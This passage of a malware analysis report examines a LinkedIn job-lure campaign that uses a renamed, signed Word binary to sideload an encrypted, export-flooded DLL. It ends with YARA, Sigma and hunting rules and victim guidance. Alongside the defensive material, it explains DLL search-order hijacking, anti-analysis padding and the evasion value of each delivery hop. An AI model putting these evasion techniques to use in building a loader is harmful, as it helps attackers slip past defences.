Size: 1,756,880 bytes · SHA-256: 8cd271f946d84423c554992eb0176be395cdd7bf6179efe1822759d019c94f34 · IMPHASH: f023301e5028c4161fbaafe75e305cff

4.1 It is not the attacker’s file - it is Microsoft Word
#

This is the heart of the technique. The executable is a genuine, unmodified, validly signed Microsoft Word binary, renamed to look like an HR document. The evidence is unambiguous:

Version resource:

FieldValue
CompanyNameMicrosoft Corporation
FileDescriptionMicrosoft Word
FileVersion16.0.19127.20302
InternalNameWinWord
OriginalFilenameWinWord.exe
ProductNameMicrosoft Office
ProductVersion16.0.19127.20302

Debug directory - the build path:

1
D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\winword.pdb

dbs\el\omr is Microsoft’s Office build tree and postc2r is Click-to-Run packaging. That path did not come from a malware builder.

Embedded application manifest:

1
2
<msix publisher="CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US"
      packageName="Microsoft.Office.C2RX" applicationId="Word"/>

…with %OFFICE_WINAPPSDK_RUNTIME_DIR% references to Microsoft.UI.Xaml.*, WinUIEdit.dll, and a requestedExecutionLevel level="asInvoker".

Rich header: present, XOR key 0x00937809, 23 entries - the standard MSVC/Office toolchain fingerprint. Exports: wdCommandDispatch, wdGetApplicationObject, DllGetLCID - Word’s own.

Authenticode - and it is valid on this file:

1
2
3
4
5
6
Subject : C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Corporation
Issuer  : C=US, O=Microsoft Corporation, CN=Microsoft Windows Code Signing PCA 2024
Chain   : Microsoft Windows Code Signing PCA 2024
          → Microsoft Root Certificate Authority 2010
Signing cert validity: 2025-06-19 → 2026-06-18
Security directory: offset 1,735,680, size 21,200 bytes

VirusTotal agrees independently: 0 detections out of 67, resolved name WinWord.exe, 1.68 MB, signed. No engine flags it, because there is nothing wrong with it. Nothing was modified. The attacker is not exploiting a vulnerability in Word; they are exploiting the fact that Windows and every reputation service trust Microsoft’s signature.

Figure 4 - stage 2 is genuine Microsoft Word: version resource, Office build path in the PDB, Rich header, imphash, and a valid Authenticode blob

Figure 5 - the loader’s Authenticode chain resolves to Microsoft Corporation via Microsoft Windows Code Signing PCA 2024

4.2 How the hijack works
#

The loader’s import table is where the attack lives:

1
2
3
4
5
AppVIsvSubsystems32.dll   (1 import)   ord#1        ← the sideloaded DLL, imported by ORDINAL
KERNEL32.dll              (26)         LoadLibraryExW, GetProcAddress, GetSystemDirectoryW, …
VCRUNTIME140.dll          (10)         memcpy, __CxxFrameHandler3, …
MSVCP140.DLL              (4)          std:: exception helpers
api-ms-win-crt-*          (31)         C runtime

WinWord.exe imports AppVIsvSubsystems32.dll by ordinal 1. Windows resolves that import from the application directory first. Ship a malicious DLL with the matching export in the same folder as the renamed Word binary, and Word loads the attacker’s code. That is DLL search-order hijacking, and using a signed Microsoft binary as the host is what makes it survive SmartScreen, MOTW warnings, and most endpoint heuristics.

The two C++ runtime DLLs shipped in the archive (msvcp140.dll, vcruntime140.dll) exist to satisfy the loader’s dependency list, so nothing fails to resolve at load time.

4.3 Section table
#

SectionVirtual sizeRaw sizeEntropy
.text10,80011,2646.28
.rdata5,6846,1444.47
.data1,8161,0241.59
.c2r2605121.57
.rsrc1,713,9361,714,1764.46
.reloc1,0641,5365.31

The .c2r section name is another Office Click-to-Run fingerprint, and .rsrc is 97% of the file - which is why a full Word binary is only 1.68 MB. Everything is normal, because the file is normal.


5. Stage 3: the hijacked DLL (AppvIsvSubsystems32.dll)
#

Size: 137,500,856 bytes · SHA-256: 64978b374ad0f85a34b07733b124f0bba3fb9d098966771a9ec20779ad0fea9c · IMPHASH: 5b068b99f9d78ce4f4d615d860cf9d9d

5.1 It started life as a real Windows DLL
#

The version resource is intact:

FieldValue
CompanyNameMicrosoft Corporation
FileDescriptionMicrosoft Application Virtualization - ISV Subsystems
FileVersion10.0.19041.1 (WinBuild.160101.0800)
OriginalFilenameAppvIsvSubsystems32.DLL
ProductNameMicrosoft® Windows® Operating System

Windows 10 build 19041 (20H1). The attacker took a genuine, Microsoft-signed AppvIsvSubsystems32.dll and bolted 137 MB onto it.

5.2 The file’s anatomy
#

RegionOffsetSize
Genuine PE (header + 6 sections)0129,536
Encrypted payload overlay129,536137,364,480
Original Microsoft signature (now invalid)137,494,0166,840
Total137,500,856

Entropy sampling of the overlay:

PositionEntropy
head7.992
25%8.000
50%8.000
75%8.000
tail8.000

8.000 is the maximum possible for byte data. There is no plaintext structure in 137 MB - no strings, no headers, no embedded archives. A string sweep of the first 130 KB (the real code) yields no URLs, no C2, no API names. A scan for embedded archives found zero ZIP/7z/RAR structures, and the 295 MZ byte-pairs in the first 20 MB match the ~305 expected from pure chance in random data, so there are no nested executables either.

5.3 The stub
#

The real code is tiny - a ~34 KB .text section - and it imports only three functions:

1
KERNEL32.dll: DisableThreadLibraryCalls, GetModuleHandleA, GetProcAddress

Three imports for a 137 MB payload means the stub resolves everything else dynamically at runtime. That is the signature of decrypt-in-memory-then-execute: the overlay is decrypted and run without ever touching disk as a file.

Figure 6 - stage 3 anatomy: 129,536 bytes of real sections, a 137,364,480-byte overlay at entropy 8.000, a 6,840-byte signature, and only three imports

5.4 The export table: 2,027 names, one address
#

This is the most interesting artefact in the whole sample.

The DLL exports 2,027 named functions. Every single one points at the same RVA - 0x1000:

1
2
3
4
5
6
7
8
ord=1     rva=0x1000   APIExportForDetours        ← the one Word actually calls
ord=2     rva=0x1000   Acorn_Anvil_Socket
ord=3     rva=0x1000   Acorn_Igloo_Ivory
ord=4     rva=0x1000   Acorn_Laurel_Funnel_Trophy_Trophy
ord=5     rva=0x1000   Acorn_Meadow_Curtain_Spindle_Candle
…
ord=2026  rva=0x1000   Zipper_Spider_Marble
ord=2027  rva=0x1000   _IsProcessHooked

Two observations:

  1. APIExportForDetours sits at ordinal 1 - precisely the ordinal WinWord.exe imports. The attacker needed a DLL that exports something at ordinal 1; they named it something that sounds legitimate for an API-hooking DLL (it is a Microsoft Detours API name) and called it a day.
  2. The other 2,026 names are generated noise. They are built by joining words from a 227-word dictionary: Acorn, Almond, Anchor, Anvil, Apricot, Arrow, Badge, Bagel, Balloon, Bamboo, Barrel, Basket, Beacon, Beetle, Biscuit, Blanket, Bobbin, Bolt, Bonnet, Bottle, Boulder, Bracket, Bramble, Breeze, Bridle, Bristle, Brooch, Bubble, Bucket, Bumble, Bunny, Button, Cactus, Candle, Canvas, Carrot, Castle, Chisel, Clamp… - all concrete English nouns, concatenated with underscores into names of 2-5 parts:
Parts per nameCount
15
2488
3505
4508
5521

This is export-table flooding - a known anti-analysis technique. It costs the attacker nothing, buries the one meaningful export under thousands of decoys, and makes automated triage and manual review substantially more annoying. It also means any detection based on export enumeration has to be written carefully. The full 227-word vocabulary is included in Appendix B.

Note also _IsProcessHooked, a second plausibly-real name hidden at the end - consistent with the sample’s other anti-analysis behaviour.

The contrast with a genuine binary is stark. Node.js node.exe - which this same campaign ships inside its own decoy container (§6.4) - has 8,597 exports spread across 7,028 distinct addresses:

BinaryExportsDistinct RVAs
AppvIsvSubsystems32.dll (this sample)2,0271
node.exe (Node.js 20.20.2, genuine)8,5977,028

A real export table is a map of distinct functions. This one is a wall of aliases pointing at a single address - which is why “exports that all resolve to one RVA” is the cheapest reliable tell for the technique.

Figure 7 - export flooding: 2,027 named exports, every one aliasing RVA 0x1000, with the loader’s ordinal-1 target sitting first

5.5 VirusTotal
#

MetricValue
Detections8 / 67
Popular threat labeltrojan.v2fx
Family labelsv2fx
Sandbox verdictC2AE sandbox: MALWARE
Tagspedll, overlay, invalid-signature, detect-debug-environment, signed
Detection namesAvast Win32:Evo-gen [Trj] · AVG Win32:Evo-gen [Trj] · Avira TR/W32.Evo · Sangfor Trojan.Win32.Evo.V2fx · Sophos Mal/Generic-S · Symantec Trojan.Gen.MBT · WithSecure Trojan.TR/W32.Evo · McAfee Ti!64978B374AD0
Missed byMicrosoft, Kaspersky, ESET, Bitdefender, CrowdStrike, SentinelOne, Palo Alto, Trend Micro, Malwarebytes, and 49 others

Three things about this result are worth dwelling on:

  • overlay and invalid-signature independently confirm my static analysis. The file has a big appended overlay, and the Microsoft signature no longer validates - because the content was modified. The certificate is still there; it just does not match the bytes any more. Tools that only check “is there a signature?” are fooled.
  • detect-debug-environment means the sample actively probes for analysis environments. Combined with the encryption and the padding, its real behaviour is deliberately hidden from sandboxes - which is exactly why a behavioural classification is unavailable.
  • The detection names are generic or cluster labels. Win32:Evo-gen (Avast/AVG) and TR/W32.Evo (Avira) are heuristic families, not identifications. v2fx traces to a single vendor’s cluster naming; I found no public reporting on a family by that name. So: nobody has publicly named this payload, and I will not invent a name for it.

5.6 The two “runtime” DLLs are genuine
#

FileSizeSHA-256Signature
msvcp140.dll450,128d164cb20e5b60531061dd9b25f22fd3d0cdbb1e6e36fc5a120056b0546b5917eMicrosoft (Windows Software Compatibility Publisher)
vcruntime140.dll90,192226c182cee6430bdaf4c9986bd5efac5e7d1b8b831c9a6c9ae3bfd7d19a8bb2cMicrosoft (Windows Software Compatibility Publisher)

Both are genuine Visual Studio 2022 redistributables (FileVersion 14.42.34437.0), with authentic Microsoft build paths in their debug directories (D:\a\_work\1\s\binaries\x86ret\bin\i386\*), valid signature chains, and Rich headers. Their compile timestamps are non-real (1973 and 2074) - which is not suspicious: Microsoft’s deterministic builds derive the timestamp from a content hash. They were shipped purely so the loader’s imports resolve.


6. Stage 4: the decoy container (~tmp05853C8.pdf)
#

Size: 70,000,757 bytes · SHA-256: 3faac52d9feb85d3eb9e50ecfa1885fa9963edf8f31bfc853e34c0a46007abf4

This file is labelled as a PDF and it is one - a %PDF-1.7 header and exactly one page. But the page has no fonts, no images, no XObjects, and no text-bearing content stream. There is nothing to look at. And it is 70 MB.

Here is what is actually in it:

6.1 Layout map
#

OffsetRegionNotes
0%PDF-1.7 header + minimal PDF objects646 bytes of actual PDF
646Embedded OOXML documentone complete DOCX, 53,465 bytes, ending at 54,111
54,136PE32 executable #1 - stock Node.js 20.20.2 node.exe, i386, 5 sections, console (see §6.4)
57,998compiled code patterns (<approot@openssl.org> followed by 0x90/0xCC padding)
20,602,958Node.js internal sources (lib/internal/…)613 distinct internal paths
24,342,933Node.js snapshot metadata (node_version, v8_cache_version_tag, SnapshotMetadata)
64,711,351Node-API symbols (napi_get_node_version, napi_create_async_work, …)
65,628,529PE32 executable #2 (i386, 6 sections, console, compiled 2026-05-26) - region contains node.exe and SEA strings
66,855,029Encrypted / random tail - 3,145,728 bytes at entropy 7.999
70,000,757EOF

6.2 The fake document
#

The embedded DOCX is a polished fake: a 19-part OOXML document whose word/document.xml reads:

INTERNAL BUSINESS PLAYBOOK - Apex Logistics Group - Google Ads Performance Playbook A professional reference guide for key metrics, optimization standards, reporting workflows, and campaign governance. Scope: Search, Display, lead generation, ecommerce and performance reporting fundamentals. Audience: Marketing managers, paid media specialists, analysts, agency partners and business stakeholders… Version 2.0 Professional Expanded Edition · Status: Ready for internal review and distribution · Last Updated June 2026 · Confidentiality: Internal use only

It has a proper table of contents, KPI frameworks, and reporting standards - someone put real effort into it. It also contains no macros, no embedded executables, and no /Launch or /EmbeddedFile objects in the PDF wrapper. It is a decoy, not a delivery mechanism.

6.3 The Node.js runtime - and a probable OPSEC leak
#

The bulk of the container is Node.js runtime material:

EvidenceCount / value
lib/internal/ path references515
distinct internal module paths613 (internal/errors, internal/modules/cjs/loader, internal/bootstrap/realm, …)
module.exports occurrences379
require( calls2,151
Node-API (napi_*) symbolspresent, incl. napi_get_node_version
Node snapshot structuresSnapshotMetadata::Type::kDefault, node_version, node_arch, node_platform, v8_cache_version_tag
NODE_MODULE_VERSION error strings2 (the “compiled against a different Node.js version” text)
node_modules / package.json references60 / 60
OpenSSL materialopenssl × 1,171, <approot@openssl.org>
long base64 certificate blobs148
esbuild-bundled undici (Node’s HTTP client)lib/core/util.js, dispatcher.js, __name(...) helpers

Two embedded PE32 console binaries sit inside it, one of which contains node.exe and SEA strings.

Interpretation (assessment, not fact): at minimum this is padding - the archive is 167 MB largely because this one decoy is 70 MB, and 167 MB is a size that defeats a lot of automated upload limits and sandbox pipelines. But §6.4 shows it is more than padding. The padding material appears to have been harvested from a machine with Node.js installed - the giveaway is that a padding blob contains a coherent Node runtime complete with its CA bundle and internal sources. That, plus a 227-word English noun dictionary generating export names, plus a ZIP comment that is a 6,376-byte random blob, is a coherent picture of a script-driven, likely Node.js-based builder on a developer workstation. I cannot prove that from the artefacts alone, and I am labelling it as inference.

The 3.1 MB encrypted tail inside the container is the part I like least. It is a high-entropy blob appended after the embedded executables, in a file that a victim is told is a document - a place a scanner may well decide not to look. Whether it is builder state, a second-stage cache, or configuration for the DLL, I cannot say without executing the sample.


6.4 Confirmed: a complete Node.js application, not random padding
#

The follow-up sweep closed this gap definitively. Both embedded executables identify themselves:

PE-A (offset 54,136)PE-B (offset 65,628,529)
Version resourceNode.js 20.20.2 - CompanyName: Node.js, FileDescription: Node.js JavaScript Runtime, InternalName: node, OriginalFilename: node.exe(none)
Machine / subsystemi386 (32-bit) / consolei386 / console
Sections.text .rdata .data .rsrc .reloc.text .rdata .data .fptable .rsrc .reloc
Exports8,597 across 7,028 distinct RVAs (V8 + N-API symbols)2: napi_register_module_v1, node_api_module_get_api_version_v1
Importsdbghelp, WS2_32, ole32, IPHLPAPI, PSAPI, SHELL32, USERENV, ADVAPI32, USER32, CRYPT32, bcrypt, KERNEL32KERNEL32, ADVAPI32
Compiled2026-03-242026-05-26

PE-A is a stock, unmodified 32-bit Node.js 20.20.2 runtime. PE-B is a Node-API native addon - that exact pair of exports (napi_register_module_v1 and node_api_module_get_api_version_v1) is how Node loads a native .node module.

So the “PDF” is not random junk. It is a Node.js application bundle - a runtime, a native addon, a Word document, and an encrypted blob - wrapped in a fake PDF header.

That is a more interesting finding than padding, and it invites two readings I cannot separate statically:

  1. The builder is a Node.js project and the payload may be Node-based. A bundled runtime plus a native addon is exactly what JS-ecosystem tooling looks like, and it would explain several oddities at once: the export-name generator drawing from a 227-word English noun list (a very script-shaped artefact), the 6,376-byte random ZIP comment (trivial to produce from crypto.randomBytes), and the leaked lib/internal/ paths.
  2. The padding was harvested from a developer’s Node.js working directory - someone zipped a folder that happened to contain a runtime and an addon.

Either way the operational observation holds: the people behind this work in a Node.js environment, and a decorative file gave that away.

For completeness: the 6,376-byte blob from the ZIP comment does not appear anywhere in this container (find → −1), and the container’s own 3,145,728-byte encrypted tail (offset 66,855,029) hashes differently. They are two independent encrypted blobs, not copies of one another.

Figure 8 - decoy container layout and the embedded Node.js runtime: version resource confirms Node.js 20.20.2 / node.exe, and PE-B exports the Node-API module signature

7. Per-victim polymorphism
#

This campaign does not ship one file to everyone. I pulled the payload three times and rendered it once, and every request produced a different filename:

ObservationFilename
API metadata (/api/share/<token>)Apex_Role_Information_**53fe4a**_Document0926_**20261002**.zip
Download #1 (/dl/tmp_ec52…)Apex_Role_Information_**9c7ca9**_Document0926_**20261001**.zip
Download #2 (/dl/tmp_b5df…)Apex_Role_Information_**b7bba0**_Document0926_**20260909**.zip
Rendered in the portal (screenshot)Apex_Role_Information_**839eb7**_Document…

The token and the embedded date change on every single request.

Then I compared the actual bytes, using the fact that both samples share an identical internal layout:

PropertySample 1Sample 2Same?
DLL local-header offset in ZIP29,490,66129,490,661✅ identical
Decoy entry name~tmp05853C8.pdf~tmp05853C8.pdf✅ identical
ZIP local-header timestamps2026-09-13 12:08:28different❌
First 1 MB of the archive……❌ different
First 10 MB of the encrypted DLL overlay934b124c847c8a69…0a48339e52af4eb6…❌ different
VT hash for the DLL from victim Auseless for victim B❌

So: identical structure and offsets, different content. The builder produces a deterministic archive shape but re-randomises the bytes - which, given the overlay is already encrypted, most likely means the payload is re-encrypted or re-packed per victim (fresh key/IV, or per-build noise).

The practical consequence is the important one: hash-based detection and IOC sharing have limited value against this operation. A hash reported by one victim will not match what the next victim receives, which is almost certainly why the DLL in VirusTotal shows only 8/67 with a one-vendor cluster label and no family attribution - very few submissions can ever be correlated.

Detection therefore has to key on shape: the export-flooding pattern, the sideloading host, the Worker kit, the archive layout, the filename stem.


8. What the attacker actually wanted
#

8.1 Layer 1 - the machine
#

The payload is a loader with a 137 MB encrypted stage and active sandbox detection. The overwhelming majority of commodity loaders in this delivery pattern exist to install a credential stealer. The relevant threat model if it runs:

  • Saved browser passwords - trivial for an infostealer to extract.
  • Session cookies and auth tokens - the more dangerous half, because they let an attacker into accounts without a password and without triggering 2FA.
  • Browser extension data, including authenticator extensions.
  • Crypto wallets, clipboard contents, and local config/credential files.
  • Possibly a remote-access trojan - the documented family in this campaign chain (PureHVNC) provides hidden-desktop control, letting an operator drive the machine without the user seeing a cursor move.

Stolen logs are sold in bulk or used for initial access by other crews.

8.2 Layer 2 - the person (already successful)
#

This is the part people skip. Because the form is login-walled, simply opening it hands over a real name, a real email address and an IP. If submitted, the attacker also gets LinkedIn URL, country, seniority, experience, expected rate, and an uploaded work sample.

That converts an anonymous LinkedIn user into a verified, responsive human with a known email address. Expect follow-up targeting. The instruction to email hr@apexglobe.cc is a further filter, sorting the list by people who follow through on instructions.

8.3 Why the “job” theme works
#

  • Professionals are the target: LinkedIn gives the attacker job titles, employers, skills, and a plausible reason to make contact.
  • “Remote, part-time” is irresistible enough to justify a form and a document.
  • Documents are normal in hiring. Nobody thinks twice about being sent a PDF.
  • The whole flow - DM → form → document - mimics a real screening process, so each step lowers suspicion for the next.

8.4 Why the chain is so long
#

Every hop is a trusted third party, and that is the entire design:

HopDefensive value to the attacker
LinkedInTrusted network, no email security gateway in the path
Google FormsGoogle domain; login wall defeats scanners; captures identity
tr.eeHides the destination; the DM contains no suspicious domain
Cloudflare WorkersFree, disposable, TLS included, globally cached, trivially rotated
Signed WinWord.exeValid Microsoft signature - 0/67 detection
167 MB ZIP with a 70 MB decoyExceeds upload limits, slows sandboxes, pads past scanning thresholds
Per-victim rebuildDefeats hash sharing and correlation

9. Attribution and campaign context
#

The tradecraft matches a campaign family documented through 2026:

  • Malwarebytes Labs - “That ‘job brief’ on Google Forms could infect your device” (March 2026)
  • SecLookup - “Exploiting Trust: PureHVNC RAT Delivery via Malicious Google Forms” - its IOCs include a tr.ee shortener link, file-sharing hosts (fshare.vn, goo.su, Dropbox), and C2 IP 207.148.66.14
  • The Cyber Express / SecNews - “PXA Stealer: Vietnam-Linked Actors Exploit LinkedIn”
  • CraftedSignal and Elastic both ship detections for “Potential DLL Side-Loading via Trusted Microsoft Programs”, the exact technique used here

The delivery chain is a direct match: LinkedIn DM → login-walled Google Form → URL shortener → file-transfer-style landing page → ZIP containing a sideloading loader. The tr.ee shortener in particular links this to the SecLookup-reported infrastructure.

However - and this matters - I am not attributing the payload. Three reasons:

  1. The 137 MB stage was never decrypted. Nobody has seen its code, including me.
  2. The loader is native C++. PXA Stealer is Python/PyInstaller; PureHVNC is .NET. This loader is neither - it is a small native PE with a dynamically-resolved stub. The specific families named in the published reports therefore do not match this sample, even though the delivery chain does.
  3. trojan.v2fx is not a documented family. It is a single vendor’s cluster label with no public reporting behind it.

The honest summary: same campaign chain, same tradecraft, same shortener - different payload lineage, or an evolution of it. I also note that AppvIsvSubsystems32.dll as a sideloading target has public sandbox reports for other samples (e.g. a 174 KB variant flagged by 17/74 engines in September 2026), which tells us the masquerade is reused across multiple operations. Reusing a popular sideload target is not attribution.


10. YARA rules
#

The full rule set (six rules) was validated against the live sample and can be shared on request.

TargetExpectedResult
AppvIsvSubsystems32.dll (malicious)DLL rule✅ MAL_DLL_AppvIsvSideload_ExportFlood
payload.zip (delivery archive)2 rules✅ MAL_ZIP_SignedWord_Sideload_Package, MAL_ZIP_HexBlobComment_BuilderMarker
~tmp05853C8.pdf (decoy container)carrier rule✅ MAL_PDF_NodeRuntime_Polyglot_Carrier
Fake portal HTML2 rules✅ both
Genuine msvcp140.dllnone✅ clean
Genuine vcruntime140.dllnone✅ clean
/usr/bin/curlnone✅ clean
Decoy “Personal Blog” pagenone✅ clean

Three implementation lessons came out of that validation, and they are worth knowing before you write your own rules for this campaign:

  1. The Microsoft version-resource strings are UTF-16LE. OriginalFilename = "AppvIsvSubsystems32.DLL" is stored wide, so a rule declaring it only ascii will silently never match. This is exactly why my first draft of the DLL rule failed.
  2. YARA’s regex engine cannot handle the 12,752-character hex comment. /--- [0-9a-f]{1000,} ---/ compiles, warns “may slow down scanning”, and then never matches - even in the {40,} form. The comment rule is therefore anchored by position instead of content.
  3. Anchor by offset, not by content, wherever the attacker rotates the content. Every field that changes per victim must be matched structurally.

Figure 9 - YARA validation on the live sample: every rule fires, and the benign controls stay silent

10.1 Hijacked DLL
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
rule MAL_DLL_AppvIsvSideload_ExportFlood
{
    meta:
        description = "AppvIsvSubsystems32.dll masquerade: modified Microsoft App-V DLL used for DLL search-order hijacking, with a flooded export table and a large high-entropy appended overlay"
        confidence  = "high"

    strings:
        $api  = "APIExportForDetours" ascii
        $hook = "_IsProcessHooked"    ascii
        $w1 = "Acorn_Anvil_Socket"                   ascii
        $w2 = "Acorn_Pickle_Umbrella_Plumage_Spider" ascii
        $w3 = "Almond_Bamboo_Plover_Curtain_Talon"   ascii
        $w4 = "Anchor_Pretzel_Prism_Castle"          ascii
        // version-resource strings are UTF-16LE - `ascii` alone will not match
        $ver  = "AppvIsvSubsystems32.DLL"              ascii wide
        $appv = "Microsoft Application Virtualization" ascii wide

    condition:
        uint16(0) == 0x5A4D          // MZ
        and filesize > 100MB
        and $api and $hook
        and 1 of ($w*)
        and 1 of ($ver, $appv)
}

10.2 The delivery archive
#

ZIP entry names are stored uncompressed in the local headers, so these strings are matchable without extracting anything:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
rule MAL_ZIP_SignedWord_Sideload_Package
{
    meta:
        description = "ZIP delivery package: renamed signed Microsoft Word binary shipped beside a malicious AppvIsvSubsystems32.dll and genuine VC++ runtimes"
        confidence  = "medium-high"

    strings:
        $pk       = { 50 4B 03 04 }
        $lure     = "Apex_Role_Information"   ascii
        $payload  = "AppvIsvSubsystems32.dll" ascii
        $host_exe = "Document0926"            ascii
        $decoy    = "~tmp"                    ascii
        $rt1      = "msvcp140.dll"            ascii
        $rt2      = "vcruntime140.dll"        ascii

    condition:
        $pk at 0 and filesize > 100MB
        and $lure and $payload
        and 1 of ($host_exe, $decoy)
        and 1 of ($rt1, $rt2)
}

10.3 The builder’s comment marker
#

Note the position anchoring - the regex form does not work (see the validation notes above):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
rule MAL_ZIP_HexBlobComment_BuilderMarker
{
    meta:
        description = "ZIP ending with a '--- <long lowercase hex blob> ---' comment (6,376 high-entropy bytes observed). The kit's API-reported size excludes this blob"
        confidence  = "medium"

    strings:
        $eocd  = { 50 4B 05 06 }      // PK\x05\x06 end-of-central-directory
        $open  = "--- " ascii
        $close = " ---" ascii

    condition:
        uint32(0) == 0x04034b50
        and filesize > 10MB
        and $eocd  in (filesize - 15000 .. filesize)
        and $open  in (filesize - 14000 .. filesize)
        and $close in (filesize - 8 .. filesize)
}

10.4 The fake portal
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
rule PHA_HTML_SecureTransfer_FakeDelivery_Kit
{
    meta:
        description = "HTML of the fake SecureTransfer enterprise file-delivery portal with a staged 3-second auto-download"
        confidence  = "high"

    strings:
        $s1 = "SecureTransfer"              ascii nocase
        $s2 = "Document Ready"              ascii nocase
        $s3 = "/api/dl/request"             ascii
        $s4 = "Encrypted transfer"          ascii nocase
        $s5 = "Your file has been verified" ascii nocase
        $s6 = "Extract All"                 ascii nocase
        $s7 = "share_token"                 ascii

    condition:
        filesize < 1MB and 4 of them and ($s3 or $s7)
}

Plus MAL_PDF_NodeRuntime_Polyglot_Carrier (the fake PDF containing OOXML + Node.js runtime material + encrypted tail) and PHA_HTML_JobLure_Kit_Generic (lower-confidence variant hunting) in the rules file.


11. Detection and hunting
#

11.1 Sigma
#

Office binary running from outside an Office installation - the highest-fidelity host signal for this technique, and it generalises to every “signed LOLBIN + sideloaded DLL” campaign:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
title: Microsoft Office binary executed from a non-Office directory (DLL sideloading host)
id: 8f2f1c4e-0a1b-4c7d-9e2f-apexjoblure01
status: experimental
description: >
  Detects a process whose original filename is a Microsoft Office executable
  (WinWord.exe, Excel.exe, POWERPNT.exe) but which executes from outside the
  Office installation directories. Consistent with renaming a signed Office
  binary to host a sideloaded DLL.
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    - OriginalFileName: 'WinWord.exe'
    - OriginalFileName: 'Excel.exe'
    - OriginalFileName: 'POWERPNT.exe'
  filter_office_paths:
    Image|startswith:
      - 'C:\Program Files\Microsoft Office\'
      - 'C:\Program Files (x86)\Microsoft Office\'
    Image|contains: '\root\Office'
  condition: selection_img and not filter_office_paths
falsepositives:
  - Portable Office builds (rare)
  - Legitimate administrative testing
level: high

Sideloaded DLL load:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
title: AppvIsvSubsystems32.dll loaded outside Office/AppV directories
id: 3b7d9e12-55aa-4f01-b0c2-apexjoblure02
status: experimental
logsource:
  product: windows
  category: image_load
detection:
  selection:
    ImageLoaded|endswith: '\AppvIsvSubsystems32.dll'
  filter_legit:
    ImageLoaded|contains:
      - '\Microsoft Office\'
      - '\Microsoft Application Virtualization'
      - '\Windows\System32\'
  condition: selection and not filter_legit
falsepositives:
  - Custom App-V deployments with non-standard paths
level: high

11.2 Network
#

The kit’s URL shape is distinctive enough to alert on directly:

1
2
3
# Proxy / web gateway
url CONTAINS "workers.dev" AND url CONTAINS "/dl/tmp_"
url CONTAINS "workers.dev" AND url CONTAINS "/api/dl/request"
1
2
3
4
5
6
7
8
9
// Microsoft Defender XDR
DeviceNetworkEvents
| where RemoteUrl has "workers.dev" and (RemoteUrl has "/dl/tmp_" or RemoteUrl has "/api/dl/request")
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl

// Office binary making network connections is itself notable
DeviceNetworkEvents
| where InitiatingProcessVersionInfoOriginalFileName in~ ("WinWord.exe","Excel.exe","POWERPNT.exe")
| where InitiatingProcessFolderPath !startswith "C:\\Program Files\\Microsoft Office"
1
2
3
# Splunk
index=proxy (url="*workers.dev*/dl/tmp_*" OR url="*workers.dev*/api/dl/request")
| stats count by src_ip, url, http_user_agent

11.3 Host artefacts to hunt
#

ArtefactWhy
~tmp*.pdf created in Downloads/Temp/DesktopThe decoy container’s naming pattern
AppvIsvSubsystems32.dll co-located with an .exe in a user-writable directorySideloading pair
A .exe ≥ 1.6 MB in a user download directory whose version info says Microsoft Word but whose filename does notRenamed signed binary
Files > 100 MB ZIP/PDF appearing in user download pathsThe size-padding pattern
msvcp140.dll / vcruntime140.dll appearing in a user download folderShipped runtime dependencies are a strong hint of a sideloading package
A ZIP whose archive comment is a long hex blobBuilder fingerprint

11.4 What will not work
#

  • Signature checks alone. The loader is validly signed. The DLL still has a certificate; it just no longer validates. Check validity, not presence.
  • Hash blocklists. Every victim gets different bytes.
  • Static AV. 59 of 67 engines miss the malicious DLL, and 67 of 67 miss the loader.
  • Sandbox-only triage of the first stage. The landing page gates on source reputation and the DLL detects debug environments.

12. Practical guidance
#

If you receive a DM like this
#

  1. Treat unsolicited recruiter DMs with links as hostile by default, especially those that route through a form, a shortener, or a “document portal”.
  2. A login-walled form is a red flag, not a convenience. Legitimate recruiters do not need you signed into Google to show you a job description.
  3. Check the domain, including the TLD. apexglobe.com (real) versus apexglobe.cc (the attacker’s) is the whole difference.
  4. Never run a “document” from a ZIP you did not request. Job descriptions are PDFs, not archives containing executables.
  5. “Right-click → Extract All” is not a normal instruction from an HR department. It exists so you extract the archive and see the payload.
  6. If you already opened the form: expect follow-up phishing. Do not email the address in it, and do not reuse that email account’s password anywhere.

If you already extracted the archive
#

  • Do not run anything. Extraction alone is inert - the malware only executes if the executable runs.
  • Delete the folder. If you did run it, disconnect from the network and treat every saved browser credential, session cookie and crypto wallet on that machine as compromised, then rotate credentials from a different, clean device - recovering on the infected machine is how stolen credentials get re-stolen.

For defenders
#

  • Block *.workers.dev on corporate egress where business needs permit - it is overwhelmingly abused and rarely required.
  • Alert on Office binaries executing outside Office directories; this catches the entire signed-LOLBIN-sideloading class, not just this campaign.
  • Do not rely on file-size limits to protect you. Attackers know them better than you do.
  • Treat “valid signature” and “reputation-clean” as absence of evidence, not evidence of safety.

13. Timeline
#

WhenEvent
2010-07-21Microsoft compiles the genuine AppvIsvSubsystems32.dll (Windows 10 19041) that the attacker later modifies
2025-10-07 23:43 UTCMicrosoft compiles the genuine WinWord.exe (Office 16.0.19127.20302) that becomes the loader
2026-03-24 00:23 UTCEmbedded PE #1 in the decoy container compiled
2026-05-26 06:31 UTCEmbedded PE #2 in the decoy container compiled
2026-06-12 09:36 UTCThe fake “Google Ads Performance Playbook” DOCX last written
2026-09-13 12:08 UTCDOS timestamps on all payload ZIP members (build time of sample 1)
2026-09-20 13:15 UTCNTFS timestamps in the ZIP central directory (7 days later - untrusted)
2026-10-02Victim receives the LinkedIn DM; analysis performed; three separate downloads and one browser render all produce different filenames

14. What I could not determine
#

Being explicit about the gaps, because they matter more than the confident parts:

  1. What the 137 MB encrypted stage contains. Undecrypted. No C2, no family, no capability list. Everything I say about “likely a stealer” is inference from the campaign, not observation of the code.
  2. The payload family. trojan.v2fx is a vendor cluster label with no public documentation. The loader is native C++, which does not match the Python/.NET families in published reports of this campaign chain.
